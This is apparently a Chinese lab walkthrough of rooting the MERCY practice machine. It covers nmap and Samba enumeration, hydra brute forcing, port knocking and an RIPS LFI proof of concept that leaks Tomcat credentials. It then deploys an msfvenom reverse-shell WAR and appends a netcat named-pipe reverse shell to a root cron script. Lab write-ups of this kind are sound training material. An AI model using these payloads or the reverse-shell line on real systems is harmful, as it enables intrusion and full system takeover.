digitalworld.local: MERCY靶机入侵

小咪咪 2024-04-07 11:12 171阅读 0赞

0x01 前言

MERCY是一个致力于PWK课程安全的靶机系统。MERCY是一款游戏名称，与易受攻击的靶机名称无关。本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息

靶机的下载地址：

https://drive.google.com/uc?id=1YzsW1lCKjo\_WEr6Pk511DXQBFyMMR14y&export=download(注意确认下载镜像中MERCY.mf的sha256值是否正确)

0x02 信息收集

1.**存活主机扫描**
  1. root@kali2018:~#arp-scan  -l

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发现192.168.1.12就是目标靶机系统

2.**端口扫描**

通过NAMP对目标靶机进行端口扫描

  1. root@kali2018:~# nmap  -A192.168.1.12
  3. Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 09:55 EST
  5. Nmap scan report for 192.168.1.12
  7. Host is up (0.00091s latency).
  9. Not shown: 990 closed ports
  11. PORT     STATESERVICE     VERSION
  13. 22/tcp   filtered ssh
  15. 53/tcp   opendomain      ISC BIND 9.9.5-3ubuntu0.17 (Ubuntu Linux)
  17. | dns-nsid:
  19. |_  bind.version: 9.9.5-3ubuntu0.17-Ubuntu
  21. 80/tcp   filtered http
  23. 110/tcp  openpop3?
  25. 139/tcp  opennetbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
  27. 143/tcp  openimap        Dovecot imapd
  29. |_ssl-date: TLS randomness does not represent time
  31. 445/tcp  opennetbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
  33. 993/tcp  openssl/imap    Dovecot imapd
  35. |_imap-capabilities: CAPABILITY
  37. | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
  39. | Not valid before: 2018-08-24T13:22:55
  41. |_Not valid after:  2028-08-23T13:22:55
  43. |_ssl-date: TLS randomness does not represent time
  45. 995/tcp  openssl/pop3s?
  47. | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
  49. | Not valid before: 2018-08-24T13:22:55
  51. |_Not valid after:  2028-08-23T13:22:55
  53. |_ssl-date: TLS randomness does not represent time
  55. 8080/tcp open     http        Apache Tomcat/Coyote JSP engine 1.1
  57. | http-methods:
  59. |_  Potentially risky methods: PUT DELETE
  61. |_http-open-proxy: Proxy might be redirecting requests
  63. |_http-server-header: Apache-Coyote/1.1
  65. |_http-title: Apache Tomcat
  67. MAC Address: 00:0C:29:91:A0:C6 (VMware)
  69. Device type: general purpose
  71. Running: Linux 3.X|4.X
  73. OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
  75. OS details: Linux 3.2 - 4.9
  77. Network Distance: 1 hop
  79. Service Info: Host: MERCY; OS: Linux; CPE: cpe:/o:linux:linux_kernel
  83. Host script results:
  85. |_clock-skew: mean: -2h39m59s, deviation: 4h37m07s, median: 0s
  87. |_nbstat: NetBIOS name: MERCY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
  89. | smb-os-discovery:
  91. |   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
  93. |   Computer name: mercy
  95. |   NetBIOS computer name: MERCY\x00
  97. |   Domain name: \x00
  99. |   FQDN: mercy
  101. |_  System time: 2019-02-12T22:57:54+08:00
  103. | smb-security-mode:
  105. |   account_used: guest
  107. |   authentication_level: user
  109. |   challenge_response: supported
  111. |_  message_signing: disabled (dangerous, but default)
  113. | smb2-security-mode:
  115. |   2.02:
  117. |_    Message signing enabled but not required
  119. | smb2-time:
  121. |   date: 2019-02-12 09:57:54
  123. |_  start_date: N/A
  127. TRACEROUTE
  129. HOP RTT     ADDRESS
  131. 1   0.91 ms 192.168.1.12
  135. OS and Service detection performed. Please report any incorrec

发现目标端口445,8080等端口开放.其他如22,80被防火墙阻断.其中samba服务已开启(这是本文重点渗透目标)

0x03**漏洞利用**

无论在任何情况下，我们首先攻击的应用目标是Apache

Tomcat(http://192.168.1.12:8080/)

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尝试访问tomcat后台管理页面，但需要输入正确的用户名和密码方可登陆。尝试输入各种已知的信息但还是无法进入。注意到其用户的配置信息在/etc/tomcat7/tomcat-users.xml中。

1.Samba漏洞攻击

通过smbclient命令列出目标靶机中可用的Samba服务共享名.

  1. root@kali2018:~# smbclient -NL  192.168.1.12

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可从上图中看到共享的几个名称,下面将挂载其共享目录到本地,但还是不允许访问目标共享,这里需身份认证。

  1. root@kali2018:~# mkdir  /mnt/file
  3. root@kali2018:~# mount  -tcifs  192.168.1.12:/qiu  /mnt/file

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2.enum4linux枚举Samba账号
  1. root@kali2018:~#  enum4linux -U -o 192.168.1.12

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让我们将枚举出来的账号(qiu和pleadformercy)添加到mercy.txt中，并对其账号进行爆破。

3.samba账号爆破
  1. root@kali2018:~#hydra -L mercy.txt -P/usr/share/wordlists/fasttrack.txt smb://192.168.1.12:139

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可发现成功爆破出qiu的账号，密码为空

4.mount命令挂载目录
  1. root@kali2018:~#mount -t cifs//192.168.1.12:/qiu/mnt/file -o username=qiu

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列出挂载目录下的文件信息

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5.private目录信息收集

发现.private目录提供了一些重要系统信息

  1. root@kali2018:~# cd  /mnt/file/
  3. root@kali2018:/mnt/file# cd  .private
  5. root@kali2018:/mnt/file/.private# ls
  7. opensesame  readme.txtsecrets
  9. root@kali2018:/mnt/file/.private# cd opensesame/
  11. root@kali2018:/mnt/file/.private/opensesame# ls
  13. config  configprint
  14. root@kali2018:/mnt/file/.private/opensesame# head -30 config
  16. Here are settings for your perusal.
  20. Port Knocking Daemon Configuration
  24. [options]
  26.        UseSyslog
  30. [openHTTP]
  32.        sequence    = 159,27391,4
  34.        seq_timeout = 100
  36.        command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 80 -j ACCEPT
  38.        tcpflags    = syn
  42. [closeHTTP]
  44.        sequence    = 4,27391,159
  46.        seq_timeout = 100
  48.        command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 80 -j ACCEPT
  50.        tcpflags    = syn
  54. [openSSH]
  56.        sequence    = 17301,28504,9999
  58.        seq_timeout = 100
  60.        command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
  62.        tcpflags    = syn
  66. [closeSSH]
  68.        sequence    = 9999,28504,17301
  70.        seq_timeout = 100
  72.        command     = /sbin/iptables -D iNPUT -s %IP% -p tcp --dport 22 -j ACCEPT
  74.        tcpflags    = syn

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上面显示了端口启动守护进程的防火墙端口开放的命令配置.

6.打开目标靶机防火墙端口

看到两组sequence，一组用于HTTP，另一组用于SSH。

(1)http的sequence脚本：

kncok.sh

  1. #!/bin/bash
  3. for PORT in 159 27391 4;do nmap -Pn 192.168.1.12  -p  $PORT;
  5. done

b990d69e97402ea6f1eed8c5cc4c4d6e.jpeg

(2)SSH的sequence脚本：

kncok1.sh

  1. #!/bin/bash
  3. for PORT in 17301 28504  9999;do nmap -Pn 192.168.1.12  -p $PORT;
  5. done

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(3**)通过sequence脚本来打开HTTP的端口**

  1. root@kali2018:~# ./knoch.sh
  3. Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST
  5. Nmap scan report for 192.168.1.12
  7. Host is up (0.00044s latency).
  11. PORT    STATESERVICE
  13. 159/tcp closed nss-routing
  15. MAC Address: 00:0C:29:91:A0:C6 (VMware)
  19. Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
  21. Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST
  23. Nmap scan report for 192.168.1.12
  25. Host is up (0.00053s latency).
  29. PORT      STATE  SERVICE
  31. 27391/tcp closed unknown
  33. MAC Address: 00:0C:29:91:A0:C6 (VMware)
  37. Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
  39. Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST
  41. Nmap scan report for 192.168.1.12
  43. Host is up (0.00042s latency).
  47. PORT  STATESERVICE
  49. 4/tcp closed unknown
  51. MAC Address: 00:0C:29:91:A0:C6 (VMware)
  55. Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds

39bab44ddec1264348f86d512f21eaae.jpeg

(4)通过sequence脚本来打开SSH的端口

  1. root@kali2018:~# ./knoch1.sh
  3. Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST
  5. Nmap scan report for 192.168.1.12
  7. Host is up (0.00049s latency).
  11. PORT      STATESERVICE
  13. 17301/tcp closed unknown
  15. MAC Address: 00:0C:29:91:A0:C6 (VMware)
  19. Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
  21. Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST
  23. Nmap scan report for 192.168.1.12
  25. Host is up (0.00042s latency).
  29. PORT      STATESERVICE
  31. 28504/tcp closed unknown
  33. MAC Address: 00:0C:29:91:A0:C6 (VMware)
  37. Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
  39. Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST
  41. Nmap scan report for 192.168.1.12
  43. Host is up (0.00031s latency).
  47. PORT     STATESERVICE
  49. 9999/tcp closed abyss
  51. MAC Address: 00:0C:29:91:A0:C6 (VMware)
  55. Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds

dcbaf5723307144ea6157d5387b00f35.jpeg

通过以上命令开放了80和22端口,现在在kali系统下打开80端口网站。

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7.目录扫描

通过目录工具dirb对目标靶机系统80端口网站进行扫描，发现存在robots.txt文件

  1. root@kali2018:~# dirb http://192.168.1.12

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打开robots.txt的连接地址，发现一个有趣的目录/omercy

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打开该目录网站，可发现RIPS 0.53版本存在

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8.RIPS漏洞收集

根据EDB-ID 18660，RIPS 0.53易受本地文件包含(LFI)漏洞影响。(RIPS 0.53 LFI)

在 exploit-db 中搜索RIPS 0.53 漏洞。

https://www.exploit-db.com/exploits/18660

6031550bc6f655859f38971062565ac6.jpeg

其PoC为:

http://localhost/rips/windows/code.php?file=../../../../../../etc/passwd

可以本地文件包含读出目标靶机的/etc/passwd的信息。

aa85f54fe2c7f43f2e1fb74021b5fe58.jpeg

9.tomcat再次入侵

通过rips的lfi漏洞来本地包含tomcat-users.xml读取其配置信息。

http://192.168.1.12/nomercy/windows/code.php?file=./../../../../..//etc/tomcat7/tomcat-users.xml

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此文件泄露了8080端口上运行的tomcat管理后台的用户名和密码信息

  1. <? <user username="thisisasuperduperlonguser" password="heartbreakisinevitable" roles="admin-gui,manager-gui"/>
  3. <? <user username="qiu" password="mercyplz" roles="manager-gui"/>

有了登录凭证，现在可以登录管理器的webapp来部署恶意webapp，这是一个允许反弹shell的WAR文件。

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登陆到管理后台：

http://192.168.1.12:8080/manager/html

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目标靶机系统为32位的ubuntu系统

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我们可以通过msfvenom命令来生成这样的war包

  1. root@kali2018:/opt#  msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.21  LPORT=3333  -f war -o shell.war

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部署webapp后门文件shell.war

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通过7z命令查看war包的内容，可以看到包含了yillzdtgvccxzwp.jsp文件

  1. root@kali2018:/opt# 7z l shell.war

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访问恶意Web应用程序，请在浏览器的地址栏中输入以下内容：

http://192.168.1.12:8080/shell/yillzdtgvccxzwp.jsp

在攻击机上执行nc监听反弹命令并使用python生成交互式的shell：python -c ‘import pty; pty.spawn(“/bin/sh”)’

  1. root@kali2018:/opt# nc -lvvp 3333

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以普通用户权限下查看其falg信息:

  1. tomcat7@MERCY:/$ cat local.txt
  3. cat local.txt
  5. Plz have mercy on me! :-( :-(
  7. tomcat7@MERCY:/$

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0x04 权限提升

可以通过从tomcat-users.xml中搜索到登录帐户qiu。在信息收集的同时还发现了将权限提升为root的方法。有一个脚本/home/qiu/.private/secrets/timeclock将每隔三分钟，以root权限运行并写入到目录/var/www/html/time中。

  1. tomcat7@MERCY:/$su qiu
  2. qiu@MERCY:~/.private/secrets$ ls -al/home/qiu/.private/secrets/timeclock
  4. ls -al  /home/qiu/.private/secrets/timeclock
  6. -rwxrwxrwx 1 root root 222 Aug 31 00:47 /home/qiu/.private/secrets/timeclock
  8. qiu@MERCY:~/.private/secrets$ cat timeclock
  10. #!/bin/bash
  12. now=$(date)
  14. echo "The system time is: $now." > ../../../../../var/www/html/time
  16. echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time
  18. chown www-data:www-data ../../../../../var/www/html/time

ddda1dc3df62c1edf61a3b475f55023a.jpeg

将以下命令添加到脚本timclock中，其中NC监听的IP地址为攻击机(kali)的IP地址。

  1. qiu@MERCY:~/.private/secrets$ echo "rm -rf /tmp/p; mknod /tmp/p p; /bin/sh 0</tmp/p | nc 192.168.1.21  5555 1>/tmp/p" >> timeclock
  3. <mp/p | nc 192.168.1.21  5555 1>/tmp/p" >> timeclock
  5. qiu@MERCY:~/.private/secrets$ cat timeclock
  7. cat timeclock
  9. #!/bin/bash
  13. now=$(date)
  15. echo "The system time is: $now." > ../../../../../var/www/html/time
  17. echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time
  19. chown www-data:www-data ../../../../../var/www/html/time
  21. rm -rf /tmp/p; mknod /tmp/p p; /bin/sh 0</tmp/p | nc 192.168.1.21  5555 1>/tmp/p

设置另一个nc监听,监听端口为5555,3分钟后将反弹到目标root shell.并在攻击机上执行nc监听反弹命令并使用python生成交互式的shell：python -c ‘import pty; pty.spawn(“/bin/sh”)’

  1. root@kali2018:/mnt/file/.private/opensesame# nc -lvvp  5555
  3. listening on [any] 5555 ...
  5. 192.168.1.12: inverse host lookup failed: Unknown host
  7. connect to [192.168.1.21] from (UNKNOWN) [192.168.1.12] 39346
  9. python -c "import pty;pty.spawn('/bin/bash')"

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0x05 flag**信息查看**

进入到root目录然后查看proof.txt得到flag信息

r

  1. oot@MERCY:~# cd /root
  3. cd /root
  5. root@MERCY:~# ls
  7. ls
  9. author-secret.txt  configproof.txt
  11. root@MERCY:~# cat  proof.txt
  13. cat  proof.txt
  15. Congratulations on rooting MERCY. :-)
  17. root@MERCY:~#

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